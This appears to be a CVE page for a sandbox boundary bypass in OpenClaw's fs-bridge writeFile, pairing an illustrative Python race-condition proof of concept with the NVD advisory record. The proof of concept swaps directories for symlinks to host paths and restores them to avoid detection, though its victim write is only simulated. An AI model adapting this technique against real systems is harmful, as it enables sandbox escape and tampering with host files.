CVE-2026-32977

import threading import os import time # Simulate the vulnerable scenario TARGET_PATH = "/container/sandbox/writable_dir" HOST_PATH = "/host/system/path" def exploit_race_condition(): """ Attacker thread: Continuously swap the parent directory to change the destination of the write operation. """ while True: try: # Step 1: Rename the original directory to temp if os.path.exists(TARGET_PATH): os.rename(TARGET_PATH, "/tmp/original_dir") # Step 2: Create a symlink pointing outside the sandbox os.symlink(HOST_PATH, TARGET_PATH) # Small delay to allow the check/use window time.sleep(0.001) # Step 3: Restore the original state to avoid detection os.unlink(TARGET_PATH) os.rename("/tmp/original_dir", TARGET_PATH) except Exception as e: print(f"Error in exploit: {e}") def trigger_vulnerable_write(): """ Victim thread: Triggers the vulnerable writeFile commit. This represents the OpenClaw fs-bridge operation. """ file_content = b"MALICIOUS_PAYLOAD" # In a real scenario, this calls the vulnerable API # which performs: check(path) -> move(file, path) print("Attempting to write file...") # Simulating the Time-of-Check print(f"[Check] Path is safe: {TARGET_PATH}") # Introduce delay (The race window) time.sleep(0.0005) # Simulating the Time-of-Use (Move operation) # If exploit succeeded, this writes to HOST_PATH print(f"[Use] Moving file to {TARGET_PATH}") if __name__ == "__main__": # Setup environment os.makedirs(TARGET_PATH, exist_ok=True) # Start threads attacker = threading.Thread(target=exploit_race_condition) victim = threading.Thread(target=trigger_vulnerable_write) attacker.start() victim.start() victim.join() attacker.join()

{"cve": {"id": "CVE-2026-32977", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:29.660", "lastModified": "2026-04-02T13:14:46.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.11 contains a sandbox boundary bypass vulnerability in the fs-bridge writeFile commit step that uses an unanchored container path during the final move operation. An attacker can exploit a time-of-check-time-of-use race condition by modifying parent paths inside the sandbox to redirect committed files outside the validated writable path within the container mount namespace."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.11", "matchCriteriaId": "4B01F0B5-B0CB-462E-A546-2BA2CACD83D5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xvx8-77m6-gwg6", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-sandbox-boundary-bypass-via-unanchored-writefile-commit-path", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}